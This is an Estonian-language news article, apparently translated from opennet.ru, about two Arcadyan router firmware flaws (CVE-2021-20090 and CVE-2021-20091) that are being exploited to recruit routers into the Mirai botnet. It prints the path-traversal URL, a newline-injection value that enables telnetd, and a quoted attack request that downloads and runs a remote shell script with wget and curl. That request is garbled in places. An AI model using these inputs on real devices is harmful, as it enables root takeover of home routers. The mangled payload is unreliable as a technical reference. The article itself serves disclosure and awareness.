Võrgus on registreeritud ulatuslik rünnak koduruuterite vastu, mille püsivara kasutab Arcadyani ettevõtte HTTP-serveri rakendust. Seadmete üle kontrolli saamiseks kasutatakse kahe haavatavuse kombinatsiooni, mis võimaldab suvalise koodi kaugkäivitamist juurõigustega. Probleem puudutab üsna laia valikut ADSL-ruutereid firmadelt Arcadyan, ASUS ja Buffalo, aga ka Beeline'i kaubamärkide all tarnitud seadmeid (probleemi kinnitab Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone ja teised telekommunikatsioonioperaatorid. Märgitakse, et probleem on Arcadyani püsivaras olnud üle 10 aasta ja selle aja jooksul on õnnestunud migreeruda vähemalt 20 seadmemudelile 17 erinevalt tootjalt.
Esimene haavatavus, CVE-2021-20090, võimaldab juurdepääsu mis tahes veebiliidese skriptile ilma autentimiseta. Haavatavuse olemus seisneb selles, et veebiliideses on mõned kataloogid, mille kaudu pilte, CSS-faile ja JavaScripti skripte saadetakse, ligipääsetavad ilma autentimiseta. Sel juhul kontrollitakse algse maski abil katalooge, millele on lubatud juurdepääs ilma autentimiseta. Püsivara on blokeerinud märkide „../” määramise teedel, et minna ülemkataloogi, kuid kombinatsiooni „..%2f” kasutamine jäetakse vahele. Seega on selliste päringute saatmisel võimalik avada kaitstud lehti nagu “http://192.168.1.1/images/..%2findex.htm”.
Teine haavatavus, CVE-2021-20091, võimaldab autentitud kasutajal teha muudatusi seadme süsteemiseadetes, saates spetsiaalselt vormindatud parameetrid skripti apply_abstract.cgi, mis ei kontrolli parameetrites reavahetuse märgi olemasolu. . Näiteks pingitoimingu tegemisel saab ründaja määrata kontrollitava IP-aadressi väljale väärtuse “192.168.1.2%0AARC_SYS_TelnetdEnable=1” ja seadistusfaili /tmp/etc/config/ loomisel skripti. .glbcfg, kirjutab sellesse rea “AARC_SYS_TelnetdEnable=1”, mis aktiveerib telnetd-serveri, mis pakub piiranguteta juurdepääsu juurõigustega käsukestale. Samamoodi saate parameetri AARC_SYS määramisega käivitada süsteemis mis tahes koodi. Esimene haavatavus võimaldab käivitada probleemse skripti ilma autentimiseta, pääsedes sellele juurde kui "/images/..%2fapply_abstract.cgi".
Turvaaukude ärakasutamiseks peab ründajal olema võimalik saata päring võrguporti, millel veebiliides töötab. Rünnaku leviku dünaamika järgi otsustades jätavad paljud operaatorid oma seadmetele juurdepääsu välisvõrgust, et lihtsustada tugiteenuse probleemide diagnoosimist. Kui juurdepääs liidesele on piiratud ainult sisevõrguga, saab ründe sooritada välisvõrgust, kasutades “DNS-i uuesti sidumise” tehnikat. Haavatavusi kasutatakse juba aktiivselt ruuterite ühendamiseks Mirai botnetiga: POST /images/..%2fapply_abstract.cgi HTTP/1.1 Ühendus: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_.212.192.241.7.ipaddress=0. 1%0A ARC_SYS_TelnetdEnable=212.192.241.72& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://777/lolol.sh; curl+-O+http://0/lolol.sh; chmod+4+lolol.sh; sh+lolol.sh&ARC_ping_status=XNUMX&TMP_Ping_Type=XNUMX
Allikas: opennet.ru